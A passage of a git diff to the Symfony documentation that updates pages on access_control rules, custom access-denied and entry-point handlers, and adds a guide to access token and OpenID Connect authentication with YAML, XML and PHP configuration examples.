->ips([env('TRUSTED_IPS')]) + ; + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_USER_IP']) + ->ips(['127.0.0.1', '::1', env('TRUSTED_IPS')]) + ; + + // for custom matching needs, use a request matcher service + $security->accessControl() + ->roles(['ROLE_USER']) + ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher') + ; + + // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') method, + // instead of attributes(['_route' => 'xxx']) method + $security->accessControl() + ->roles(['ROLE_ADMIN']) + ->attributes(['_route' => 'admin']) + ; + $security->accessControl() + ->roles(['ROLE_ADMIN']) + ->route('admin') + ; + }; For each incoming request, Symfony will decide which ``access_control`` to use based on the URI, the client's IP address, the incoming host name, and the request method. Remember, the first rule that matches is used, and if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that -``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``: - -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| URI | IP | PORT | HOST | METHOD | ``access_control`` | Why? | -+=================+=============+=============+=============+============+================================+=============================================================+ -| ``/admin/user`` | 127.0.0.1 | 80 | example.com | GET | rule #1 (``ROLE_USER_IP``) | The URI matches ``path`` and the IP matches ``ip``. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 127.0.0.1 | 80 | symfony.com | GET | rule #1 (``ROLE_USER_IP``) | The ``path`` and ``ip`` still match. This would also match | -| | | | | | | the ``ROLE_USER_HOST`` entry, but *only* the **first** | -| | | | | | | ``access_control`` match is used. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 127.0.0.1 | 8080 | symfony.com | GET | rule #2 (``ROLE_USER_PORT``) | The ``path``, ``ip`` and ``port`` match. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 168.0.0.1 | 80 | symfony.com | GET | rule #3 (``ROLE_USER_HOST``) | The ``ip`` doesn't match the first rule, so the second | -| | | | | | | rule (which matches) is used. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 168.0.0.1 | 80 | symfony.com | POST | rule #3 (``ROLE_USER_HOST``) | The second rule still matches. This would also match the | -| | | | | | | third rule (``ROLE_USER_METHOD``), but only the **first** | -| | | | | | | matched ``access_control`` is used. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 168.0.0.1 | 80 | example.com | POST | rule #4 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first two entries, | -| | | | | | | but the third - ``ROLE_USER_METHOD`` - matches and is used. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/foo`` | 127.0.0.1 | 80 | symfony.com | POST | matches no entries | This doesn't match any ``access_control`` rules, since its | -| | | | | | | URI doesn't match any of the ``path`` values. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ - -.. caution:: +``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``. +See the following examples: + +Example #1: + * **URI** ``/admin/user`` + * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``GET`` + * **Rule applied**: rule #2 (``ROLE_USER_IP``) + * **Why?** The URI matches ``path`` and the IP matches ``ip``. +Example #2: + * **URI** ``/admin/user`` + * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET`` + * **Rule applied**: rule #2 (``ROLE_USER_IP``) + * **Why?** The ``path`` and ``ip`` still match. This would also match the + ``ROLE_USER_HOST`` entry, but *only* the **first** ``access_control`` match is used. +Example #3: + * **URI** ``/admin/user`` + * **IP**: ``127.0.0.1``, **Port**: ``8080``, **Host**: ``symfony.com``, **Method**: ``GET`` + * **Rule applied**: rule #1 (``ROLE_USER_PORT``) + * **Why?** The ``path``, ``ip`` and ``port`` match. +Example #4: + * **URI** ``/admin/user`` + * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET`` + * **Rule applied**: rule #3 (``ROLE_USER_HOST``) + * **Why?** The ``ip`` doesn't match neither the first rule nor the second rule. + * So the third rule (which matches) is used. +Example #5: + * **URI** ``/admin/user`` + * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST`` + * **Rule applied**: rule #3 (``ROLE_USER_HOST``) + * **Why?** The third rule still matches. This would also match the fourth rule + * (``ROLE_USER_METHOD``), but only the **first** matched ``access_control`` is used. +Example #6: + * **URI** ``/admin/user`` + * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``POST`` + * **Rule applied**: rule #4 (``ROLE_USER_METHOD``) + * **Why?** The ``ip`` and ``host`` don't match the first three entries, but + * the fourth - ``ROLE_USER_METHOD`` - matches and is used. +Example #7: + * **URI** ``/foo`` + * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST`` + * **Rule applied**: matches no entries + * **Why?** This doesn't match any ``access_control`` rules, since its URI + * doesn't match any of the ``path`` values. + +.. warning:: Matching the URI is done without ``$_GET`` parameters. :ref:`Deny access in PHP code <security-securing-controller>` if you want @@ -184,8 +230,7 @@ options: * ``roles`` If the user does not have the given role, then access is denied (internally, an :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException` - is thrown). If this value is an array of multiple roles, the user must have - at least one of them. + is thrown). * ``allow_if`` If the expression returns false, then access is denied; @@ -201,7 +246,7 @@ options: can learn how to use your custom attributes by reading :ref:`security/custom-voter`. -.. caution:: +.. warning:: If you define both ``roles`` and ``allow_if``, and your Access Decision Strategy is the default one (``affirmative``), then the user will be granted @@ -223,7 +268,7 @@ entry that *only* matches requests coming from some IP address or range. For example, this *could* be used to deny access to a URL pattern to all requests *except* those from a trusted, internal server. -.. caution:: +.. warning:: As you'll read in the explanation below the example, the ``ips`` option does not restrict to a specific IP address. Instead, using the ``ips`` @@ -244,13 +289,13 @@ pattern so that it is only accessible by requests from the local server itself: access_control: # # the 'ips' option supports IP addresses and subnet masks - - { path: '^/internal', roles: IS_AUTHENTICATED_ANONYMOUSLY, ips: [127.0.0.1, ::1, 192.168.0.1/24] } + - { path: '^/internal', roles: PUBLIC_ACCESS, ips: [127.0.0.1, ::1, 192.168.0.1/24] } - { path: '^/internal', roles: ROLE_NO_ACCESS } .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -263,7 +308,7 @@ pattern so that it is only accessible by requests from the local server itself: <!-- ... --> <!-- the 'ips' option supports IP addresses and subnet masks --> - <rule path="^/internal" role="IS_AUTHENTICATED_ANONYMOUSLY"> + <rule path="^/internal" role="PUBLIC_ACCESS"> <ip>127.0.0.1</ip> <ip>::1</ip> </rule> @@ -275,21 +320,23 @@ pattern so that it is only accessible by requests from the local server itself: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'access_control' => [ - [ - 'path' => '^/internal', - 'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY', - // the 'ips' option supports IP addresses and subnet masks - 'ips' => ['127.0.0.1', '::1'], - ], - [ - 'path' => '^/internal', - 'roles' => 'ROLE_NO_ACCESS', - ], - ], - ]); + + $security->accessControl() + ->path('^/internal') + ->roles(['PUBLIC_ACCESS']) + // the 'ips' option supports IP addresses and subnet masks + ->ips(['127.0.0.1', '::1']) + ; + + $security->accessControl() + ->path('^/internal') + ->roles(['ROLE_NO_ACCESS']) + ; + }; Here is how it works when the path is ``/internal/something`` coming from the external IP address ``10.0.0.1``: @@ -308,7 +355,7 @@ address): * Now, the first access control rule is enabled as both the ``path`` and the ``ip`` match: access is allowed as the user always has the - ``IS_AUTHENTICATED_ANONYMOUSLY`` role. + ``PUBLIC_ACCESS`` role. * The second access rule is not examined as the first rule matched. @@ -331,7 +378,7 @@ key: access_control: - path: ^/_internal/secure - # the 'role' and 'allow-if' options work like an OR expression, so + # the 'roles' and 'allow_if' options work like an OR expression, so # access is granted if the expression is TRUE or the user has ROLE_ADMIN roles: 'ROLE_ADMIN' allow_if: "'127.0.0.1' == request.getClientIp() or request.headers.has('X-Secure-Access')" @@ -339,7 +386,7 @@ key: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -361,18 +408,19 @@ key: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'access_control' => [ - [ - 'path' => '^/_internal/secure', - // the 'role' and 'allow-if' options work like an OR expression, so - // access is granted if the expression is TRUE or the user has ROLE_ADMIN - 'roles' => 'ROLE_ADMIN', - 'allow_if' => '"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")', - ], - ], - ]); + + $security->accessControl() + ->path('^/_internal/secure') + // the 'role' and 'allow-if' options work like an OR expression, so + // access is granted if the expression is TRUE or the user has ROLE_ADMIN + ->roles(['ROLE_ADMIN']) + ->allowIf('"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")') + ; + }; In this case, when the user tries to access any URL starting with ``/_internal/secure``, they will only be granted access if the IP address is @@ -412,12 +460,12 @@ access those URLs via a specific port. This could be useful for example for security: # ... access_control: - - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, port: 8080 } + - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, port: 8080 } .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -429,7 +477,7 @@ access those URLs via a specific port. This could be useful for example for <config> <!-- ... --> <rule path="^/cart/checkout" - role="IS_AUTHENTICATED_ANONYMOUSLY" + role="PUBLIC_ACCESS" port="8080" /> </config> @@ -438,16 +486,17 @@ access those URLs via a specific port. This could be useful for example for .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'access_control' => [ - [ - 'path' => '^/cart/checkout', - 'role' => 'IS_AUTHENTICATED_ANONYMOUSLY', - 'port' => '8080', - ], - ], - ]); + + $security->accessControl() + ->path('^/cart/checkout') + ->roles(['PUBLIC_ACCESS']) + ->port(8080) + ; + }; Forcing a Channel (http, https) ------------------------------- @@ -465,12 +514,12 @@ the user will be redirected to ``https``: security: # ... access_control: - - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https } + - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, requires_channel: https } .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -482,7 +531,7 @@ the user will be redirected to ``https``: <config> <!-- ... --> <rule path="^/cart/checkout" - role="IS_AUTHENTICATED_ANONYMOUSLY" + role="PUBLIC_ACCESS" requires-channel="https" /> </config> @@ -491,13 +540,14 @@ the user will be redirected to ``https``: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'access_control' => [ - [ - 'path' => '^/cart/checkout', - 'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY', - 'requires_channel' => 'https', - ], - ], - ]); + + $security->accessControl() + ->path('^/cart/checkout') + ->roles(['PUBLIC_ACCESS']) + ->requiresChannel('https') + ; + }; diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst index e9e780e75ef..37490e3120b 100644 --- a/security/access_denied_handler.rst +++ b/security/access_denied_handler.rst @@ -1,18 +1,112 @@ -.. index:: - single: Security; Creating a Custom Access Denied Handler +How to Customize Access Denied Responses +======================================== -How to Create a Custom Access Denied Handler -============================================ +In Symfony, you can throw an +:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException` +to disallow access to the user. Symfony will handle this exception and +generates a response based on the authentication state: -When your application throws an ``AccessDeniedException``, you can handle this exception -with a service to return a custom response. +* **If the user is not authenticated** (or authenticated anonymously), an + authentication entry point is used to generate a response (typically + a redirect to the login page or an *401 Unauthorized* response); +* **If the user is authenticated, but does not have the required + permissions**, a *403 Forbidden* response is generated. -First, create a class that implements +.. _security-entry-point: + +Customize the Unauthorized Response +----------------------------------- + +You need to create a class that implements +:class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`. +This interface has one method (``start()``) that is called whenever an +unauthenticated user tries to access a protected resource:: + + // src/Security/AuthenticationEntryPoint.php + namespace App\Security; + + use Symfony\Component\HttpFoundation\RedirectResponse; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\Routing\Generator\UrlGeneratorInterface; + use Symfony\Component\Security\Core\Exception\AuthenticationException; + use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface; + + class AuthenticationEntryPoint implements AuthenticationEntryPointInterface + { + public function __construct( + private UrlGeneratorInterface $urlGenerator, + ) { + } + + public function start(Request $request, ?AuthenticationException $authException = null): RedirectResponse + { + // add a custom flash message and redirect to the login page + $request->getSession()->getFlashBag()->add('note', 'You have to login in order to access this page.'); + + return new RedirectResponse($this->urlGenerator->generate('security_login')); + } + } + +That's it if you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`. +Otherwise, you have to register this service in the container. + +Now, configure this service ID as the entry point for the firewall: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + firewalls: + # ... + + main: + # ... + entry_point: App\Security\AuthenticationEntryPoint + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <config> + <firewall name="main" + entry-point="App\Security\AuthenticationEntryPoint" + > + <!-- ... --> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\AuthenticationEntryPoint; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + // .... + ->entryPoint(AuthenticationEntryPoint::class) + ; + }; + +Customize the Forbidden Response +-------------------------------- + +Create a class that implements :class:`Symfony\\Component\\Security\\Http\\Authorization\\AccessDeniedHandlerInterface`. -This interface defines one method called ``handle()`` where you can implement whatever -logic that should run when access is denied for the current user (e.g. send a -mail, log a message, or generally return a custom response):: +This interface defines one method called ``handle()`` where you can +implement whatever logic that should execute when access is denied for the +current user (e.g. send a mail, log a message, or generally return a custom +response):: + // src/Security/AccessDeniedHandler.php namespace App\Security; use Symfony\Component\HttpFoundation\Request; @@ -22,7 +116,7 @@ mail, log a message, or generally return a custom response):: class AccessDeniedHandler implements AccessDeniedHandlerInterface { - public function handle(Request $request, AccessDeniedException $accessDeniedException) + public function handle(Request $request, AccessDeniedException $accessDeniedException): ?Response { // ... @@ -49,25 +143,76 @@ configure it under your firewall: .. code-block:: xml <!-- config/packages/security.xml --> - <config> - <firewall name="main"> - <access-denied-handler>App\Security\AccessDeniedHandler</access-denied-handler> - </firewall> - </config> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <config> + <firewall name="main" + access-denied-handler="App\Security\AccessDeniedHandler" + > + <!-- ... --> + </firewall> + </config> + </srv:container> .. code-block:: php // config/packages/security.php use App\Security\AccessDeniedHandler; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + // .... + ->accessDeniedHandler(AccessDeniedHandler::class) + ; + }; + +Customizing All Access Denied Responses +--------------------------------------- + +In some cases, you might want to customize both responses or do a specific +action (e.g. logging) for each ``AccessDeniedException``. In this case, +configure a :ref:`kernel.exception listener <use-kernel-exception-event>`:: + + // src/EventListener/AccessDeniedListener.php + namespace App\EventListener; - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - // ... - 'access_denied_handler' => AccessDeniedHandler::class, - ], - ], - ]); - -That's it! Any ``AccessDeniedException`` thrown by code under the ``main`` firewall -will now be handled by your service. + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Event\ExceptionEvent; + use Symfony\Component\HttpKernel\KernelEvents; + use Symfony\Component\Security\Core\Exception\AccessDeniedException; + + class AccessDeniedListener implements EventSubscriberInterface + { + public static function getSubscribedEvents(): array + { + return [ + // the priority must be greater than the Security HTTP + // ExceptionListener, to make sure it's called before + // the default exception listener + KernelEvents::EXCEPTION => ['onKernelException', 2], + ]; + } + + public function onKernelException(ExceptionEvent $event): void + { + $exception = $event->getThrowable(); + if (!$exception instanceof AccessDeniedException) { + return; + } + + // ... perform some action (e.g. logging) + + // optionally set the custom response + $event->setResponse(new Response(null, 403)); + + // or stop propagation (prevents the next exception listeners from being called) + //$event->stopPropagation(); + } + } diff --git a/security/access_token.rst b/security/access_token.rst new file mode 100644 index 00000000000..70c9e21980e --- /dev/null +++ b/security/access_token.rst @@ -0,0 +1,1099 @@ +How to use Access Token Authentication +====================================== + +Access tokens or API tokens are commonly used as authentication mechanism +in API contexts. The access token is a string, obtained during authentication +(using the application or an authorization server). The access token's role +is to verify the user identity and receive consent before the token is +issued. + +Access tokens can be of any kind, for instance opaque strings, +`JSON Web Tokens (JWT)`_ or `SAML2 (XML structures)`_. Please refer to the +`RFC6750`_: *The OAuth 2.0 Authorization Framework: Bearer Token Usage* for +a detailed specification. + +Using the Access Token Authenticator +------------------------------------ + +This guide assumes you have setup security and have created a user object +in your application. Follow :doc:`the main security guide </security>` if +this is not yet the case. + +1) Configure the Access Token Authenticator +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To use the access token authenticator, you must configure a ``token_handler``. +The token handler receives the token from the request and returns the +correct user identifier. To get the user identifier, implementations may +need to load and validate the token (e.g. revocation, expiration time, +digital signature, etc.). + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: App\Security\AccessTokenHandler + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token token-handler="App\Security\AccessTokenHandler"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\AccessTokenHandler; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->accessToken() + ->tokenHandler(AccessTokenHandler::class) + ; + }; + +This handler must implement +:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenHandlerInterface`:: + + // src/Security/AccessTokenHandler.php + namespace App\Security; + + use App\Repository\AccessTokenRepository; + use Symfony\Component\Security\Core\Exception\BadCredentialsException; + use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface; + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge; + + class AccessTokenHandler implements AccessTokenHandlerInterface + { + public function __construct( + private AccessTokenRepository $repository + ) { + } + + public function getUserBadgeFrom(string $accessToken): UserBadge + { + // e.g. query the "access token" database to search for this token + $accessToken = $this->repository->findOneByValue($accessToken); + if (null === $accessToken || !$accessToken->isValid()) { + throw new BadCredentialsException('Invalid credentials.'); + } + + // and return a UserBadge object containing the user identifier from the found token + // (this is the same identifier used in Security configuration; it can be an email, + // a UUID, a username, a database ID, etc.) + return new UserBadge($accessToken->getUserId()); + } + } + +The access token authenticator will use the returned user identifier to +load the user using the :ref:`user provider <security-user-providers>`. + +.. warning:: + + It is important to check the token if is valid. For instance, the + example above verifies whether the token has not expired. With + self-contained access tokens such as JWT, the handler is required to + verify the digital signature and understand all claims, especially + ``sub``, ``iat``, ``nbf`` and ``exp``. + +2) Configure the Token Extractor (Optional) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The application is now ready to handle incoming tokens. A *token extractor* +retrieves the token from the request (e.g. a header or request body). + +By default, the access token is read from the request header parameter +``Authorization`` with the scheme ``Bearer`` (e.g. ``Authorization: Bearer +the-token-value``). + +Symfony provides other extractors as per the `RFC6750`_: + +``header`` (default) + The token is sent through the request header. Usually ``Authorization`` + with the ``Bearer`` scheme. +``query_string`` + The token is part of the request query string. Usually ``access_token``. +``request_body`` + The token is part of the request body during a POST request. Usually + ``access_token``. + +.. warning:: + + Because of the security weaknesses associated with the URI method, + including the high likelihood that the URL or the request body + containing the access token will be logged, methods ``query_string`` + and ``request_body`` **SHOULD NOT** be used unless it is impossible to + transport the access token in the request header field. + +You can also create a custom extractor. The class must implement +:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenExtractorInterface`. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: App\Security\AccessTokenHandler + + # use a different built-in extractor + token_extractors: request_body + + # or provide the service ID of a custom extractor + token_extractors: 'App\Security\CustomTokenExtractor' + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token token-handler="App\Security\AccessTokenHandler"> + <!-- use a different built-in extractor --> + <token-extractor>request_body</token-extractor> + + <!-- or provide the service ID of a custom extractor --> + <token-extractor>App\Security\CustomTokenExtractor</token-extractor> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\AccessTokenHandler; + use App\Security\CustomTokenExtractor; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->accessToken() + ->tokenHandler(AccessTokenHandler::class) + + // use a different built-in extractor + ->tokenExtractors('request_body') + + # or provide the service ID of a custom extractor + ->tokenExtractors(CustomTokenExtractor::class) + ; + }; + +It is possible to set multiple extractors. In this case, **the order is +important**: the first in the list is called first. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: App\Security\AccessTokenHandler + token_extractors: + - 'header' + - 'App\Security\CustomTokenExtractor' + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token token-handler="App\Security\AccessTokenHandler"> + <token-extractor>header</token-extractor> + <token-extractor>App\Security\CustomTokenExtractor</token-extractor> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\AccessTokenHandler; + use App\Security\CustomTokenExtractor; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->accessToken() + ->tokenHandler(AccessTokenHandler::class) + ->tokenExtractors([ + 'header', + CustomTokenExtractor::class, + ]) + ; + }; + +3) Submit a Request +~~~~~~~~~~~~~~~~~~~ + +That's it! Your application can now authenticate incoming requests using an +API token. + +Using the default header extractor, you can test the feature by submitting +a request like this: + +.. code-block:: terminal + + $ curl -H 'Authorization: Bearer an-accepted-token-value' \ + https://localhost:8000/api/some-route + +Customizing the Success Handler +------------------------------- + +By default, the request continues (e.g. the controller for the route is +run). If you want to customize success handling, create your own success +handler by creating a class that implements +:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface` +and configure the service ID as the ``success_handler``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: App\Security\AccessTokenHandler + success_handler: App\Security\Authentication\AuthenticationSuccessHandler + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token token-handler="App\Security\AccessTokenHandler" + success-handler="App\Security\Authentication\AuthenticationSuccessHandler" + /> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\AccessTokenHandler; + use App\Security\Authentication\AuthenticationSuccessHandler; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->accessToken() + ->tokenHandler(AccessTokenHandler::class) + ->successHandler(AuthenticationSuccessHandler::class) + ; + }; + +.. tip:: + + If you want to customize the default failure handling, use the + ``failure_handler`` option and create a class that implements + :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`. + +Using OpenID Connect (OIDC) +--------------------------- + +`OpenID Connect (OIDC)`_ is the third generation of OpenID technology and it's a +RESTful HTTP API that uses JSON as its data format. OpenID Connect is an +authentication layer on top of the OAuth 2.0 authorization framework. It allows +to verify the identity of an end user based on the authentication performed by +an authorization server. + +1) Configure the OidcUserInfoTokenHandler +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The ``OidcUserInfoTokenHandler`` requires the ``symfony/http-client`` package to +make the needed HTTP requests. If you haven't installed it yet, run this command: + +.. code-block:: terminal + + $ composer require symfony/http-client + +Symfony provides a generic ``OidcUserInfoTokenHandler`` to call your OIDC server +and retrieve the user info: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + oidc_user_info: https://www.example.com/realms/demo/protocol/openid-connect/userinfo + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler oidc-user-info="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->oidcUserInfo('https://www.example.com/realms/demo/protocol/openid-connect/userinfo') + ; + }; + +To enable `OpenID Connect Discovery`_, the ``OidcUserInfoTokenHandler`` +requires the ``symfony/cache`` package to store the OIDC configuration in +the cache. If you haven't installed it yet, run the following command: + +.. code-block:: terminal + + $ composer require symfony/cache + +Next, configure the ``base_uri`` and ``discovery`` options: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + oidc_user_info: + base_uri: https://www.example.com/realms/demo/ + discovery: + cache: cache.app + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall 